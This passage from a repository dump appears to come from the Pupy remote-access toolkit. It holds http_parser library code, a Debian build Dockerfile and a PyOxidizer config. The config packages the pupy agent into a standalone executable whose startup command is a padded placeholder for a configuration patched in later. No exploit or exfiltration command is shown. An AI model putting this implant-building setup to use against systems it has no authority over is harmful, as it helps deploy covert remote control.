matchs.group(2)\n\n    def _parse_request_line(self, line):\n        bits = line.split(None, 2)\n        if len(bits) != 3:\n            raise InvalidRequestLine(line)\n\n        # Method\n        if not METHOD_RE.match(bits[0]):\n            raise InvalidRequestLine(\"invalid Method: %s\" % bits[0])\n        self._method = bits[0].upper()\n\n        # URI\n        self._url = bits[1]\n        parts = urlparse.urlsplit(bits[1])\n        self._path = parts.path or \"\"\n        self._query_string = parts.query or \"\"\n        self._fragment = parts.fragment or \"\"\n\n        # Version\n        match = VERSION_RE.match(bits[2])\n        if match is None:\n            raise InvalidRequestLine(\"Invalid HTTP version: %s\" % bits[2])\n        self._version = (int(match.group(1)), int(match.group(2)))\n\n        # update environ\n        if hasattr(self,'_environ'):\n            self._environ.update({\n                \"PATH_INFO\": self._path,\n                \"QUERY_STRING\": self._query_string,\n                \"RAW_URI\": self._url,\n                \"REQUEST_METHOD\": self._method,\n                \"SERVER_PROTOCOL\": bits[2]})\n\n    def _parse_headers(self, data):\n        idx = data.find(b(\"\\r\\n\\r\\n\"))\n        if idx < 0: # we don't have all headers\n            if self._status_code == 204 and data == b(\"\\r\\n\"):\n                self._buf = []\n                self.__on_headers_complete = True\n                return 0\n            else:\n                return False\n\n        # Split lines on \\r\\n keeping the \\r\\n on each line\n        lines = [bytes_to_str(line) + \"\\r\\n\" for line in\n                data[:idx].split(b(\"\\r\\n\"))]\n\n        # Parse headers into key/value pairs paying attention\n        # to continuation lines.\n        while len(lines):\n            # Parse initial header name : value pair.\n            curr = lines.pop(0)\n            if curr.find(\":\") < 0:\n                raise InvalidHeader(\"invalid line %s\" % curr.strip())\n            name, value = curr.split(\":\", 1)\n            name = name.rstrip(\" \\t\").upper()\n            if HEADER_RE.search(name):\n                raise InvalidHeader(\"invalid header name %s\" % name)\n\n            if value.endswith(\"\\r\\n\"):\n                value = value[:-2]\n\n            name, value = name.strip(), [value.lstrip()]\n\n            # Consume value continuation lines\n            while len(lines) and lines[0].startswith((\" \", \"\\t\")):\n                curr = lines.pop(0)\n                if curr.endswith(\"\\r\\n\"):\n                    curr = curr[:-2]\n                value.append(curr)\n            value = ''.join(value).rstrip()\n\n            # multiple headers\n            if name in self._headers:\n                value = \"%s, %s\" % (self._headers[name], value)\n\n            # store new header value\n            self._headers[name] = value\n\n            # update WSGI environ\n            key =  'HTTP_%s' % name.upper().replace('-','_')\n            self._environ[key] = value\n\n        # detect now if body is sent by chunks.\n        clen = self._headers.get('content-length')\n        te = self._headers.get('transfer-encoding', '').lower()\n\n        if clen is not None:\n            try:\n                self._clen_rest = self._clen = int(clen)\n            except ValueError:\n                pass\n        else:\n            self._chunked = (te == 'chunked')\n            if not self._chunked:\n                self._clen_rest = MAXSIZE\n\n        # detect encoding and set decompress object\n        encoding = self._headers.get('content-encoding')\n        if self.decompress:\n            if encoding == \"gzip\":\n                self.__decompress_obj = zlib.decompressobj(16+zlib.MAX_WBITS)\n                self.__decompress_first_try = False\n            elif encoding == \"deflate\":\n                self.__decompress_obj = zlib.decompressobj()\n\n        rest = data[idx+4:]\n        self._buf = [rest]\n        self.__on_headers_complete = True\n        return len(rest)\n\n    def _parse_body(self):\n        if self._status_code == 204 and len(self._buf) == 0:\n            self.__on_message_complete = True\n            return\n        elif not self._chunked:\n            body_part = b(\"\").join(self._buf)\n            self._clen_rest -= len(body_part)\n\n            # maybe decompress\n            if self.__decompress_obj is not None:\n                if not self.__decompress_first_try:\n                    body_part = self.__decompress_obj.decompress(body_part)\n                else:\n                    try:\n                        body_part = self.__decompress_obj.decompress(body_part)\n                    except zlib.error:\n                        self.__decompress_obj.decompressobj = zlib.decompressobj(-zlib.MAX_WBITS)\n                        body_part = self.__decompress_obj.decompress(body_part)\n                    self.__decompress_first_try = False\n\n\n            self._partial_body = True\n            self._body.append(body_part)\n            self._buf = []\n\n            if self._clen_rest <= 0:\n                self.__on_message_complete = True\n            return\n        else:\n            data = b(\"\").join(self._buf)\n            try:\n\n                size, rest = self._parse_chunk_size(data)\n            except InvalidChunkSize as e:\n                self.errno = INVALID_CHUNK\n                self.errstr = \"invalid chunk size [%s]\" % str(e)\n                return -1\n\n            if size == 0:\n                return size\n\n            if size is None or len(rest) < size + 2:  # wait till terminator\n                return None\n\n\n            body_part, rest = rest[:size], rest[size:]\n            if len(rest) < 2:\n                self.errno = INVALID_CHUNK\n                self.errstr = \"chunk missing terminator [%s]\" % data\n                return -1\n\n            # maybe decompress\n            if self.__decompress_obj is not None:\n                body_part = self.__decompress_obj.decompress(body_part)\n\n            self._partial_body = True\n            self._body.append(body_part)\n\n            self._buf = [rest[2:]]\n            return len(rest)\n\n    def _parse_chunk_size(self, data):\n        idx = data.find(b(\"\\r\\n\"))\n        if idx < 0:\n            return None, None\n        line, rest_chunk = data[:idx], data[idx+2:]\n        chunk_size = line.split(b(\";\"), 1)[0].strip()\n        try:\n            chunk_size = int(chunk_size, 16)\n        except ValueError:\n            raise InvalidChunkSize(chunk_size)\n\n        if chunk_size == 0:\n            self._parse_trailers(rest_chunk)\n            return 0, None\n        return chunk_size, rest_chunk\n\n    def _parse_trailers(self, data):\n        idx = data.find(b(\"\\r\\n\\r\\n\"))\n\n        if data[:2] == b(\"\\r\\n\"):\n            self._trailers = self._parse_headers(data[:idx])\n"
  },
  {
    "path": "client/pyoxidizer-build/lib/http_parser/reader.py",
    "content": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n\n# See the NOTICE for more information.\n\nfrom io import DEFAULT_BUFFER_SIZE, RawIOBase\n\nfrom http_parser.util import StringIO\n\nimport types\n\nclass HttpBodyReader(RawIOBase):\n    \"\"\" Raw implementation to stream http body \"\"\"\n\n    def __init__(self, http_stream):\n        self.http_stream = http_stream\n        self.eof = False\n\n    def readinto(self, b):\n        if self.http_stream.parser.is_message_complete() or self.eof:\n            if  self.http_stream.parser.is_partial_body():\n                return self.http_stream.parser.recv_body_into(b)\n            return 0\n\n        self._checkReadable()\n        try:\n            self._checkClosed()\n        except AttributeError:\n            pass\n\n        while True:\n            buf = bytearray(DEFAULT_BUFFER_SIZE)\n            recved = self.http_stream.stream.readinto(buf)\n            if recved is None:\n                break\n\n            del buf[recved:]\n            nparsed = self.http_stream.parser.execute(bytes(buf), recved)\n            if nparsed != recved:\n                return None\n\n            if self.http_stream.parser.is_partial_body() or recved == 0:\n                break\n            elif self.http_stream.parser.is_message_complete():\n                break\n\n        if not self.http_stream.parser.is_partial_body():\n            self.eof = True\n            b = b''\n            return len(b'')\n\n        return self.http_stream.parser.recv_body_into(b)\n\n    def readable(self):\n        return not self.closed or self.http_stream.parser.is_partial_body()\n\n    def close(self):\n        if self.closed:\n            return\n        RawIOBase.close(self)\n        self.http_stream = None\n\nclass IterReader(RawIOBase):\n    \"\"\" A raw reader implementation for iterable \"\"\"\n    def __init__(self, iterable):\n        self.iter = iter(iterable)\n        self._buffer = \"\"\n\n    def readinto(self, b):\n        self._checkClosed()\n        self._checkReadable()\n\n        l = len(b)\n        try:\n            chunk = self.iter.next()\n            self._buffer += chunk\n            m = min(len(self._buffer), l)\n            data, self._buffer = self._buffer[:m], self._buffer[m:]\n            b[0:m] = data\n            return len(data)\n        except StopIteration:\n            del b[0:]\n            return 0\n\n    def readable(self):\n        return not self.closed\n\n    def close(self):\n        if self.closed:\n            return\n        RawIOBase.close(self)\n        self.iter = None\n\nclass StringReader(IterReader):\n    \"\"\" a raw reader for strings or StringIO.StringIO,\n    cStringIO.StringIO objects \"\"\"\n\n    def __init__(self, string):\n        if isinstance(string, types.StringTypes):\n            iterable = StringIO(string)\n        else:\n            iterable = string\n        IterReader.__init__(self, iterable)\n\nfrom http_parser._socketio import SocketIO\n\nclass SocketReader(SocketIO):\n    def __init__(self, sock):\n        super(SocketReader, self).__init__(sock, mode='rb')\n"
  },
  {
    "path": "client/pyoxidizer-build/lib/http_parser/util.py",
    "content": "# -*- coding: utf-8 -\n#\n# This file is part of http-parser released under the MIT license.\n# See the NOTICE for more information.\n\n\nimport sys\ntry:\n    # Python 3.3+\n    from collections.abc import MutableMapping\nexcept ImportError:\n    from collections import MutableMapping\n\n\nif sys.version_info[0] >= 3:\n    from urllib.parse import unquote\n    def b(s):\n        return s.encode(\"latin-1\")\n\n    def bytes_to_str(b):\n        return str(b, 'latin1')\n\n    string_types = str,\n\n    import io\n    StringIO = io.StringIO\n\n    MAXSIZE = sys.maxsize\n\nelse:\n    from urllib import unquote\n    def b(s):\n        return s\n\n    def bytes_to_str(s):\n        return s\n\n    string_types = basestring,\n\n    try:\n        import cStringIO\n        StringIO = BytesIO = cStringIO.StringIO\n    except ImportError:\n        import StringIO\n        StringIO = BytesIO = StringIO.StringIO\n\n    # It's possible to have sizeof(long) != sizeof(Py_ssize_t).\n    class X(object):\n        def __len__(self):\n            return 1 << 31\n    try:\n        len(X())\n    except OverflowError:\n        # 32-bit\n        MAXSIZE = int((1 << 31) - 1)\n    else:\n        # 64-bit\n        MAXSIZE = int((1 << 63) - 1)\n    del X\n\nclass IOrderedDict(dict, MutableMapping):\n    'Dictionary that remembers insertion order with insensitive key'\n    # An inherited dict maps keys to values.\n    # The inherited dict provides __getitem__, __len__, __contains__, and get.\n    # The remaining methods are order-aware.\n    # Big-O running times for all methods are the same as for regular dictionaries.\n\n    # The internal self.__map dictionary maps keys to links in a doubly linked list.\n    # The circular doubly linked list starts and ends with a sentinel element.\n    # The sentinel element never gets deleted (this simplifies the algorithm).\n    # Each link is stored as a list of length three:  [PREV, NEXT, KEY].\n\n    def __init__(self, *args, **kwds):\n        '''Initialize an ordered dictionary.  Signature is the same as for\n        regular dictionaries, but keyword arguments are not recommended\n        because their insertion order is arbitrary.\n\n        '''\n        if len(args) > 1:\n            raise TypeError('expected at most 1 arguments, got %d' % len(args))\n        try:\n            self.__root\n        except AttributeError:\n            self.__root = root = [None, None, None]     # sentinel node\n            PREV = 0\n            NEXT = 1\n            root[PREV] = root[NEXT] = root\n            self.__map = {}\n        self.__lower = {}\n        self.update(*args, **kwds)\n\n    def __setitem__(self, key, value, PREV=0, NEXT=1, dict_setitem=dict.__setitem__):\n        'od.__setitem__(i, y) <==> od[i]=y'\n        # Setting a new item creates a new link which goes at the end of the linked\n        # list, and the inherited dictionary is updated with the new key/value pair.\n        if key not in self:\n            root = self.__root\n            last = root[PREV]\n            last[NEXT] = root[PREV] = self.__map[key] = [last, root, key]\n            self.__lower[key.lower()] = key\n        key = self.__lower[key.lower()]\n        dict_setitem(self, key, value)\n\n    def __delitem__(self, key, PREV=0, NEXT=1, dict_delitem=dict.__delitem__):\n        'od.__delitem__(y) <==> del od[y]'\n        # Deleting an existing item uses self.__map to find the link which is\n        # then removed by updating the links in the predecessor and successor nodes.\n        if key in self:\n            key = self.__lower.pop(key.lower())\n\n        dict_delitem(self, key)\n        link = self.__map.pop(key)\n        link_prev = link[PREV]\n        link_next = link[NEXT]\n        link_prev[NEXT] = link_next\n        link_next[PREV] = link_prev\n\n    def __getitem__(self, key, dict_getitem=dict.__getitem__):\n        if key in self:\n            key = self.__lower.get(key.lower())\n        return dict_getitem(self, key)\n\n    def __contains__(self, key):\n        return key.lower() in self.__lower\n\n    def __iter__(self, NEXT=1, KEY=2):\n        'od.__iter__() <==> iter(od)'\n        # Traverse the linked list in order.\n        root = self.__root\n        curr = root[NEXT]\n        while curr is not root:\n            yield curr[KEY]\n            curr = curr[NEXT]\n\n    def __reversed__(self, PREV=0, KEY=2):\n        'od.__reversed__() <==> reversed(od)'\n        # Traverse the linked list in reverse order.\n        root = self.__root\n        curr = root[PREV]\n        while curr is not root:\n            yield curr[KEY]\n            curr = curr[PREV]\n\n    def __reduce__(self):\n        'Return state information for pickling'\n        items = [[k, self[k]] for k in self]\n        tmp = self.__map, self.__root\n        del self.__map, self.__root\n        inst_dict = vars(self).copy()\n        self.__map, self.__root = tmp\n        if inst_dict:\n            return (self.__class__, (items,), inst_dict)\n        return self.__class__, (items,)\n\n    def clear(self):\n        'od.clear() -> None.  Remove all items from od.'\n        try:\n            for node in self.__map.values():\n                del node[:]\n            self.__root[:] = [self.__root, self.__root, None]\n            self.__map.clear()\n        except AttributeError:\n            pass\n        dict.clear(self)\n\n    def get(self, key, default=None):\n        if key in self:\n            return self[key]\n        return default\n\n    setdefault = MutableMapping.setdefault\n    update = MutableMapping.update\n    pop = MutableMapping.pop\n    keys = MutableMapping.keys\n    values = MutableMapping.values\n    items = MutableMapping.items\n    __ne__ = MutableMapping.__ne__\n\n    def popitem(self, last=True):\n        '''od.popitem() -> (k, v), return and remove a (key, value) pair.\n        Pairs are returned in LIFO order if last is true or FIFO order if false.\n\n        '''\n        if not self:\n            raise KeyError('dictionary is empty')\n        key = next(reversed(self) if last else iter(self))\n        value = self.pop(key)\n        return key, value\n\n    def __repr__(self):\n        'od.__repr__() <==> repr(od)'\n        if not self:\n            return '%s()' % (self.__class__.__name__,)\n        return '%s(%r)' % (self.__class__.__name__, list(self.items()))\n\n    def copy(self):\n        'od.copy() -> a shallow copy of od'\n        return self.__class__(self)\n\n    @classmethod\n    def fromkeys(cls, iterable, value=None):\n        '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S\n        and values equal to v (which defaults to None).\n\n        '''\n        d = cls()\n        for key in iterable:\n            d[key] = value\n        return d\n\n    def __eq__(self, other):\n        '''od.__eq__(y) <==> od==y.  Comparison to another OD is order-sensitive\n        while comparison to a regular mapping is order-insensitive.\n\n        '''\n        if isinstance(other, IOrderedDict):\n            return len(self)==len(other) and \\\n                    set(self.items()) == set(other.items())\n        return dict.__eq__(self, other)\n\n    def __del__(self):\n        self.clear()                # eliminate cyclical references\n\n\nstatus_reasons = {\n    # Status Codes\n    # Informational\n    100: 'Continue',\n    101: 'Switching Protocols',\n    102: 'Processing',\n\n    # Successful\n    200: 'OK',\n    201: 'Created',\n    202: 'Accepted',\n    203: 'Non Authoritative Information',\n    204: 'No Content',\n    205: 'Reset Content',\n    206: 'Partial Content',\n    207: 'Multi Status',\n    226: 'IM Used',\n\n    # Redirection\n    300: 'Multiple Choices',\n    301: 'Moved Permanently',\n    302: 'Found',\n    303: 'See Other',\n    304: 'Not Modified',\n    305: 'Use Proxy',\n    307: 'Temporary Redirect',\n\n    # Client Error\n    400: 'Bad Request',\n    401: 'Unauthorized',\n    402: 'Payment Required',\n    403: 'Forbidden',\n    404: 'Not Found',\n    405: 'Method Not Allowed',\n    406: 'Not Acceptable',\n    407: 'Proxy Authentication Required',\n    408: 'Request Timeout',\n    409: 'Conflict',\n    410: 'Gone',\n    411: 'Length Required',\n    412: 'Precondition Failed',\n    413: 'Request Entity Too Large',\n    414: 'Request URI Too Long',\n    415: 'Unsupported Media Type',\n    416: 'Requested Range Not Satisfiable',\n    417: 'Expectation Failed',\n    422: 'Unprocessable Entity',\n    423: 'Locked',\n    424: 'Failed Dependency',\n    426: 'Upgrade Required',\n\n    # Server Error\n    500: 'Internal Server Error',\n    501: 'Not Implemented',\n    502: 'Bad Gateway',\n    503: 'Service Unavailable',\n    504: 'Gateway Timeout',\n    505: 'HTTP Version Not Supported',\n    507: 'Insufficient Storage',\n    510: 'Not Extended',\n}\n"
  },
  {
    "path": "client/pyoxidizer-build/linux-builder.Dockerfile",
    "content": "# Debian Jessie.\nFROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0\n\nRUN groupadd -g 1000 build && \\\n    useradd -u 1000 -g 1000 -d /build -s /bin/bash -m build && \\\n    mkdir /tools && \\\n    chown -R build:build /build /tools\n\nENV HOME=/build \\\n    SHELL=/bin/bash \\\n    USER=build \\\n    LOGNAME=build \\\n    HOSTNAME=builder \\\n    DEBIAN_FRONTEND=noninteractive\n\nCMD [\"/bin/bash\", \"--login\"]\nWORKDIR '/build'\n\nRUN for s in debian_jessie debian_jessie-updates debian-security_jessie/updates; do \\\n      echo \"deb http://snapshot.debian.org/archive/${s%_*}/20220429T205342Z/ ${s#*_} main\"; \\\n    done > /etc/apt/sources.list && \\\n    ( echo 'quiet \"true\";'; \\\n      echo 'APT::Get::Assume-Yes \"true\";'; \\\n      echo 'APT::Install-Recommends \"false\";'; \\\n      echo 'Acquire::Check-Valid-Until \"false\";'; \\\n      echo 'Acquire::Retries \"5\";'; \\\n    ) > /etc/apt/apt.conf.d/99builder\n\nRUN apt-get update\nRUN apt-get install --force-yes \\\n  ca-certificates \\\n  curl \\\n  file \\\n  gcc \\\n  gcc-multilib \\\n  make \\\n  musl-tools \\\n  xz-utils\n\n# The binutils in Jessie is too old to link the python-build-standalone distributions\n# due to a R_X86_64_REX_GOTPCRELX relocation. So install a newer binutils.\nRUN curl --insecure https://ftp.gnu.org/gnu/binutils/binutils-2.36.1.tar.xz > binutils.tar.xz && \\\n  echo 'e81d9edf373f193af428a0f256674aea62a9d74dfe93f65192d4eae030b0f3b0  binutils.tar.xz' | sha256sum -c - && \\\n  tar -xf binutils.tar.xz && \\\n  rm binutils.tar.xz && \\\n  mkdir binutils-objdir && \\\n  cd binutils-objdir && \\\n  ../binutils-2.36.1/configure \\\n    --build=x86_64-unknown-linux-gnu \\\n    --prefix=/usr/local \\\n    --enable-plugins \\\n    --disable-nls \\\n    --with-sysroot=/ && \\\n  make -j `nproc` && \\\n  make install -j `nproc` && \\\n  cd .. && \\\n  rm -rf binutils-objdir\n\nUSER build\n\nRUN curl --insecure https://raw.githubusercontent.com/rust-lang/rustup/ce5817a94ac372804babe32626ba7fd2d5e1b6ac/rustup-init.sh > rustup-init.sh && \\\n  echo 'a3cb081f88a6789d104518b30d4aa410009cd08c3822a1226991d6cf0442a0f8 rustup-init.sh' | sha256sum -c - && \\\n  chmod +x rustup-init.sh && \\\n  ./rustup-init.sh -y --default-toolchain 1.66.0 --profile minimal && \\\n  ~/.cargo/bin/rustup target add x86_64-unknown-linux-musl\n\nRUN curl --insecure -L https://github.com/indygreg/python-build-standalone/releases/download/20230507/cpython-3.10.11+20230507-x86_64-unknown-linux-gnu-install_only.tar.gz > python.tar.gz && \\\n  echo 'c5bcaac91bc80bfc29cf510669ecad12d506035ecb3ad85ef213416d54aecd79 python.tar.gz' | sha256sum -c - && \\\n  tar -xf python.tar.gz && \\\n  rm python.tar.gz && \\\n  echo 'export PATH=\"$HOME/python/bin:$PATH\"' >> ~/.bashrc\n\n# Force a snapshot of the Cargo index into the image. This should hopefully\n# speed up subsequent operations needing to fetch the index.\nRUN ~/.cargo/bin/cargo init cargo-fetch && \\\n  cd cargo-fetch && \\\n  echo 'pyembed = \"0\"' >> Cargo.toml && \\\n  ~/.cargo/bin/cargo update && \\\n  cd && \\\n  rm -rf cargo-fetch\n\n"
  },
  {
    "path": "client/pyoxidizer-build/pyoxidizer.bzl",
    "content": "# This file defines how PyOxidizer application building and packaging is\n# performed. See PyOxidizer's documentation at\n# https://gregoryszorc.com/docs/pyoxidizer/stable/pyoxidizer.html for details\n# of this configuration file format.\n\n# Configuration files consist of functions which define build \"targets.\"\n# This function creates a Python executable and installs it in a destination\n# directory.\ndef make_exe():\n    # Obtain the default PythonDistribution for our build target. We link\n    # this distribution into our produced executable and extract the Python\n    # standard library from it.\n    dist = default_python_distribution()\n\n    # This function creates a `PythonPackagingPolicy` instance, which\n    # influences how executables are built and how resources are added to\n    # the executable. You can customize the default behavior by assigning\n    # to attributes and calling functions.\n    policy = dist.make_python_packaging_policy()\n\n    # Enable support for non-classified \"file\" resources to be added to\n    # resource collections.\n    policy.allow_files = True\n\n    # Control support for loading Python extensions and other shared libraries\n    # from memory. This is only supported on Windows and is ignored on other\n    # platforms.\n    policy.allow_in_memory_shared_library_loading = True\n\n    # Control whether to generate Python bytecode at various optimization\n    # levels. The default optimization level used by Python is 0.\n    # policy.bytecode_optimize_level_zero = True\n    # policy.bytecode_optimize_level_one = True\n    policy.bytecode_optimize_level_two = True\n\n    # Package all available Python extensions in the distribution.\n    # policy.extension_module_filter = \"all\"\n\n    # Package the minimum set of Python extensions in the distribution needed\n    # to run a Python interpreter. Various functionality from the Python\n    # standard library won't work with this setting! But it can be used to\n    # reduce the size of generated executables by omitting unused extensions.\n    # policy.extension_module_filter = \"minimal\"\n\n    # Package Python extensions in the distribution not having additional\n    # library dependencies. This will exclude working support for SSL,\n    # compression formats, and other functionality.\n    # policy.extension_module_filter = \"no-libraries\"\n\n    # Package Python extensions in the distribution not having a dependency on\n    # copyleft licensed software like GPL.\n    # policy.extension_module_filter = \"no-copyleft\"\n\n    # Controls whether the file scanner attempts to classify files and emit\n    # resource-specific values.\n    # policy.file_scanner_classify_files = True\n\n    # Controls whether `File` instances are emitted by the file scanner.\n    # policy.file_scanner_emit_files = False\n\n    # Controls the `add_include` attribute of \"classified\" resources\n    # (`PythonModuleSource`, `PythonPackageResource`, etc).\n    # policy.include_classified_resources = True\n\n    # Toggle whether Python module source code for modules in the Python\n    # distribution's standard library are included.\n    policy.include_distribution_sources = True\n\n    # Toggle whether Python package resource files for the Python standard\n    # library are included.\n    policy.include_distribution_resources = False\n\n    # Controls the `add_include` attribute of `File` resources.\n    policy.include_file_resources = False\n\n    # Controls the `add_include` attribute of `PythonModuleSource` not in\n    # the standard library.\n    # policy.include_non_distribution_sources = True\n\n    # Toggle whether files associated with tests are included.\n    policy.include_test = False\n\n    # Resources are loaded from \"in-memory\" or \"filesystem-relative\" paths.\n    # The locations to attempt to add resources to are defined by the\n    # `resources_location` and `resources_location_fallback` attributes.\n    # The former is the first/primary location to try and the latter is\n    # an optional fallback.\n\n    # Use in-memory location for adding resources by default.\n    policy.resources_location = \"in-memory\"\n\n    # Use filesystem-relative location for adding resources by default.\n    # policy.resources_location = \"filesystem-relative:prefix\"\n\n    # Attempt to add resources relative to the built binary when\n    # `resources_location` fails.\n    # policy.resources_location_fallback = \"filesystem-relative:prefix\"\n\n    # Clear out a fallback resource location.\n    policy.resources_location_fallback = None\n\n    # Define a preferred Python extension module variant in the Python distribution\n    # to use.\n    # policy.set_preferred_extension_module_variant(\"foo\", \"bar\")\n\n    # Configure policy values to classify files as typed resources.\n    # (This is the default.)\n    # policy.set_resource_handling_mode(\"classify\")\n\n    # Configure policy values to handle files as files and not attempt\n    # to classify files as specific types.\n    # policy.set_resource_handling_mode(\"files\")\n\n    # This variable defines the configuration of the embedded Python\n    # interpreter. By default, the interpreter will run a Python REPL\n    # using settings that are appropriate for an \"isolated\" run-time\n    # environment.\n    #\n    # The configuration of the embedded Python interpreter can be modified\n    # by setting attributes on the instance. Some of these are\n    # documented below.\n    python_config = dist.make_python_interpreter_config()\n\n    # Make the embedded interpreter behave like a `python` process.\n    # python_config.config_profile = \"python\"\n\n    # Set initial value for `sys.path`. If the string `$ORIGIN` exists in\n    # a value, it will be expanded to the directory of the built executable.\n    # python_config.module_search_paths = [\"$ORIGIN/lib\"]\n\n    # Use jemalloc as Python's memory allocator.\n    # python_config.allocator_backend = \"jemalloc\"\n\n    # Use mimalloc as Python's memory allocator.\n    # python_config.allocator_backend = \"mimalloc\"\n\n    # Use snmalloc as Python's memory allocator.\n    # python_config.allocator_backend = \"snmalloc\"\n\n    # Let Python choose which memory allocator to use. (This will likely\n    # use the malloc()/free() linked into the program.\n    # python_config.allocator_backend = \"default\"\n\n    # Enable the use of a custom allocator backend with the \"raw\" memory domain.\n    # python_config.allocator_raw = True\n\n    # Enable the use of a custom allocator backend with the \"mem\" memory domain.\n    # python_config.allocator_mem = True\n\n    # Enable the use of a custom allocator backend with the \"obj\" memory domain.\n    # python_config.allocator_obj = True\n\n    # Enable the use of a custom allocator backend with pymalloc's arena\n    # allocator.\n    # python_config.allocator_pymalloc_arena = True\n\n    # Enable Python memory allocator debug hooks.\n    # python_config.allocator_debug = True\n\n    # Automatically calls `multiprocessing.set_start_method()` with an\n    # appropriate value when OxidizedFinder imports the `multiprocessing`\n    # module.\n    # python_config.multiprocessing_start_method = 'auto'\n\n    # Do not call `multiprocessing.set_start_method()` automatically. (This\n    # is the default behavior of Python applications.)\n    # python_config.multiprocessing_start_method = 'none'\n\n    # Call `multiprocessing.set_start_method()` with explicit values.\n    # python_config.multiprocessing_start_method = 'fork'\n    # python_config.multiprocessing_start_method = 'forkserver'\n    # python_config.multiprocessing_start_method = 'spawn'\n\n    # Control whether `oxidized_importer` is the first importer on\n    # `sys.meta_path`.\n    # python_config.oxidized_importer = False\n\n    # Enable the standard path-based importer which attempts to load\n    # modules from the filesystem.\n    python_config.filesystem_importer = False\n\n    # Set `sys.frozen = False`\n    # python_config.sys_frozen = False\n\n    # Set `sys.meipass`\n    # python_config.sys_meipass = True\n\n    # Write files containing loaded modules to the directory specified\n    # by the given environment variable.\n    # python_config.write_modules_directory_env = \"/tmp/oxidized/loaded_modules\"\n\n    # Evaluate a string as Python code when the interpreter starts.\n    python_config.run_command = \"####---PUPY_CONFIG_COMES_HERE---####\"+(\"#\"*(50000-35))\n\n    # Run a Python module as __main__ when the interpreter starts.\n    # python_config.run_module = \"<module>\"\n\n    # Run a Python file when the interpreter starts.\n    # python_config.run_filename = \"/path/to/file\"\n\n    # Produce a PythonExecutable from a Python distribution, embedded\n    # resources, and other options. The returned object represents the\n    # standalone executable that will be built.\n    exe = dist.to_python_executable(\n        name=\"pyoxydizer_pupy\",\n\n        # If no argument passed, the default `PythonPackagingPolicy` for the\n        # distribution is used.\n        packaging_policy=policy,\n\n        # If no argument passed, the default `PythonInterpreterConfig` is used.\n        config=python_config,\n    )\n\n    # Install tcl/tk support files to a specified directory so the `tkinter` Python\n    # module works.\n    # exe.tcl_files_path = \"lib\"\n\n    # Never attempt to copy Windows runtime DLLs next to the built executable.\n    # exe.windows_runtime_dlls_mode = \"never\"\n\n    # Copy Windows runtime DLLs next to the built executable when they can be\n    # located.\n    # exe.windows_runtime_dlls_mode = \"when-present\"\n\n    # Copy Windows runtime DLLs next to the build executable and error if this\n    # cannot be done.\n    # exe.windows_runtime_dlls_mode = \"always\"\n\n    # Make the executable a console application on Windows.\n    # exe.windows_subsystem = \"console\"\n\n    # Make the executable a non-console application on Windows.\n    # exe.windows_subsystem = \"windows\"\n\n    # Invoke `pip download` to install a single package using wheel archives\n    # obtained via `pip download`. `pip_download()` returns objects representing\n    # collected files inside Python wheels. `add_python_resources()` adds these\n    # objects to the binary, with a load location as defined by the packaging\n    # policy's resource location attributes.\n    #exe.add_python_resources(exe.pip_download([\"pyflakes==2.2.0\"]))\n\n    # Invoke `pip install` with our Python distribution to install a single package.\n    # `pip_install()` returns objects representing installed files.\n    # `add_python_resources()` adds these objects to the binary, with a load\n    # location as defined by the packaging policy's resource location\n    # attributes.\n    #exe.add_python_resources(exe.pip_install([\"appdirs\"]))\n\n\n\n    # Read Python files from a local directory and add them to our embedded\n    # context, taking just the resources belonging to the `foo` and `bar`\n    # Python packages.\n    #exe.add_python_resources(exe.read_package_root(\n    #    path=\"lib/pupy\",\n    #    packages=[\"pupy\", \"pupy.agent\"],\n    #))\n    exe.add_python_resources(exe.read_package_root(\n        path=CWD+\"/lib\",\n        packages=[\"http_parser\", \"pupy\", \"pupy.agent\", \"pupy.network\"]\n    ))\n    exe.add_python_resources(exe.read_package_root(\n        path=CWD+\"/library_patches_py3\",\n        packages=[\"umsgpack\"],\n    ))\n\n    # Invoke `pip install` using a requirements file and add the collected resources\n    # to our binary.\n    exe.add_python_resources(exe.pip_install([\"-r\", CWD+\"/requirements.txt\"]))\n\n    # Discover Python files from a virtualenv and add them to our embedded\n    # context.\n    #exe.add_python_resources(exe.read_virtualenv(path=\"/path/to/venv\"))\n\n    # Filter all resources collected so far through a filter of names\n    # in a file.\n    #exe.filter_resources_from_files(files=[\"/path/to/filter-file\"])\n\n    # Return our `PythonExecutable` instance so it can be built and\n    # referenced by other consumers of this target.\n    return exe\n\ndef make_embedded_resources(exe):\n    x=exe.to_embedded_resources()\n    print(x)\n    return x\n\ndef make_install(exe):\n    # Create an object that represents our installed application file layout.\n    files = FileManifest()\n\n    # Add the generated executable to our install layout in the root directory.\n    files.add_python_resource(\".\", exe)\n\n    return files\n\ndef make_msi(exe):\n    # See the full docs for more. But this will convert your Python executable\n    # into a `WiXMSIBuilder` Starlark type, which will be converted to a Windows\n    # .msi installer when it is built.\n    return exe.to_wix_msi_builder(\n        # Simple identifier of your app.\n        \"myapp\",\n        # The name of your application.\n        \"My Application\",\n        # The version of your application.\n        \"1.0\",\n        # The author/manufacturer of your application.\n        \"Alice Jones\"\n    )\n\n\n# Dynamically enable automatic code signing.\ndef register_code_signers():\n    # You will need to run with `pyoxidizer build --var ENABLE_CODE_SIGNING 1` for\n    # this if block to be evaluated.\n    if not VARS.get(\"ENABLE_CODE_SIGNING\"):\n        return\n\n    # Use a code signing certificate in a .pfx/.p12 file, prompting the\n    # user for its path and password to open.\n    # pfx_path = prompt_input(\"path to code signing certificate file\")\n    # pfx_password = prompt_password(\n    #     \"password for code signing certificate file\",\n    #     confirm = True\n    # )\n    # signer = code_signer_from_pfx_file(pfx_path, pfx_password)\n\n    # Use a code signing certificate in the Windows certificate store, specified\n    # by its SHA-1 thumbprint. (This allows you to use YubiKeys and other\n    # hardware tokens if they speak to the Windows certificate APIs.)\n    # sha1_thumbprint = prompt_input(\n    #     \"SHA-1 thumbprint of code signing certificate in Windows store\"\n    # )\n    # signer = code_signer_from_windows_store_sha1_thumbprint(sha1_thumbprint)\n\n    # Choose a code signing certificate automatically from the Windows\n    # certificate store.\n    # signer = code_signer_from_windows_store_auto()\n\n    # Activate your signer so it gets called automatically.\n    # signer.activate()\n\n\n# Call our function to set up automatic code signers.\nregister_code_signers()\n\n# Tell PyOxidizer about the build targets defined above.\nregister_target(\"exe\", make_exe)\nregister_target(\"resources\", make_embedded_resources, depends=[\"exe\"], default_build_script=True)\nregister_target(\"install\", make_install, depends=[\"exe\"], 